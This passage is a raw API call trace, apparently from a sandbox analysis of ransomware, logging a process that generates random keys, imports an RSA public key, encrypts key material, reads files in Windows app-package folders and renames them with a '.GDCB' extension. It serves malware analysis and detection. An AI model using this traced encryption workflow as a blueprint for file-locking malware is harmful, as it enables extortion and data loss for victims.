(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.716] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0306.716] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.716] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0306.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.721] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.721] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0306.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.722] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.724] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afcf0) returned 1 [0306.724] CryptGetKeyParam (in: hKey=0x67afcf0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.724] CryptEncrypt (in: hKey=0x67afcf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfa0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdfa0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0306.724] GetLastError () returned 0x0 [0306.724] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.724] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.726] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afb30) returned 1 [0306.726] CryptGetKeyParam (in: hKey=0x67afb30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.726] CryptEncrypt (in: hKey=0x67afb30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfb0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdfb0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0306.726] GetLastError () returned 0x0 [0306.726] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.726] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0306.727] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdfc0000 [0306.730] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdfd0000 [0306.733] ReadFile (in: hFile=0x4f4, lpBuffer=0xdfd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xdfd0000*, lpNumberOfBytesRead=0x285e828*=0x2210, lpOverlapped=0x0) returned 1 [0306.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0xe0e0000 [0306.747] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0306.789] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0306.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.795] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0306.795] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.796] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4980) returned 1 [0306.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.801] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0306.801] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0306.801] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.803] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afd70) returned 1 [0306.803] CryptGetKeyParam (in: hKey=0x67afd70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.803] CryptEncrypt (in: hKey=0x67afd70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfa0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdfa0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0306.803] GetLastError () returned 0x0 [0306.803] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.803] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.805] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afcb0) returned 1 [0306.810] CryptGetKeyParam (in: hKey=0x67afcb0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.810] CryptEncrypt (in: hKey=0x67afcb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfb0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdfb0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0306.810] GetLastError () returned 0x0 [0306.810] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.810] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0306.810] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdfc0000 [0306.813] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdfd0000 [0306.816] ReadFile (in: hFile=0x4f4, lpBuffer=0xdfd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xdfd0000*, lpNumberOfBytesRead=0x285e828*=0x8210, lpOverlapped=0x0) returned 1 [0306.823] VirtualAlloc (lpAddress=0x0, dwSize=0x8210, flAllocationType=0x3000, flProtect=0x4) returned 0xe0e0000 [0306.829] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0306.840] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0306.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.845] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0306.845] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.845] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0306.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.850] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.850] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0306.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.850] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0306.853] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67afff0) returned 1 [0306.853] CryptGetKeyParam (in: hKey=0x67afff0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0306.853] CryptEncrypt (in: hKey=0x67afff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfa0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xdfa0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0306.853] GetLastError () returned 0x0 [0306.853] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.853] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0306.855] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67aff70) returned 1 [0306.855] CryptGetKeyParam (in: hKey=0x67aff70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0306.855] CryptEncrypt (in: hKey=0x67aff70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfb0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xdfb0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0306.856] GetLastError () returned 0x0 [0306.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.856] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0306.856] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdfc0000 [0306.859] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdfd0000 [0306.862] ReadFile (in: hFile=0x4fc, lpBuffer=0xdfd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0xdfd0000*, lpNumberOfBytesRead=0x285e318*=0xc910, lpOverlapped=0x0) returned 1 [0306.869] VirtualAlloc (lpAddress=0x0, dwSize=0xc910, flAllocationType=0x3000, flProtect=0x4) returned 0xe0e0000 [0306.876] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0306.896] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.902] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.902] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.902] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.907] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.908] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.910] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afbf0) returned 1 [0306.910] CryptGetKeyParam (in: hKey=0x67afbf0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.910] CryptEncrypt (in: hKey=0x67afbf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfa0000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdfa0000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.910] GetLastError () returned 0x0 [0306.910] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.910] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.912] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afd30) returned 1 [0306.912] CryptGetKeyParam (in: hKey=0x67afd30, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.912] CryptEncrypt (in: hKey=0x67afd30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfb0000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdfb0000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.912] GetLastError () returned 0x0 [0306.912] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.914] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0306.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.920] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0306.920] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.920] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0306.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.925] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0306.925] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.926] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0306.928] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afa70) returned 1 [0306.928] CryptGetKeyParam (in: hKey=0x67afa70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.928] CryptEncrypt (in: hKey=0x67afa70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfc0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdfc0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0306.928] GetLastError () returned 0x0 [0306.928] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.928] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.930] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afc30) returned 1 [0306.930] CryptGetKeyParam (in: hKey=0x67afc30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.930] CryptEncrypt (in: hKey=0x67afc30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfd0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdfd0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0306.930] GetLastError () returned 0x0 [0306.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.930] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.933] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.936] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.939] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.939] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.939] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0306.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.944] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.944] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.944] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.946] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afab0) returned 1 [0306.946] CryptGetKeyParam (in: hKey=0x67afab0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.946] CryptEncrypt (in: hKey=0x67afab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdfe0000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdfe0000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.947] GetLastError () returned 0x0 [0306.947] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.947] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.948] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afbb0) returned 1 [0306.949] CryptGetKeyParam (in: hKey=0x67afbb0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.949] CryptEncrypt (in: hKey=0x67afbb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdff0000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdff0000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.949] GetLastError () returned 0x0 [0306.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.981] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0306.985] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.987] CryptGenRandom (in: 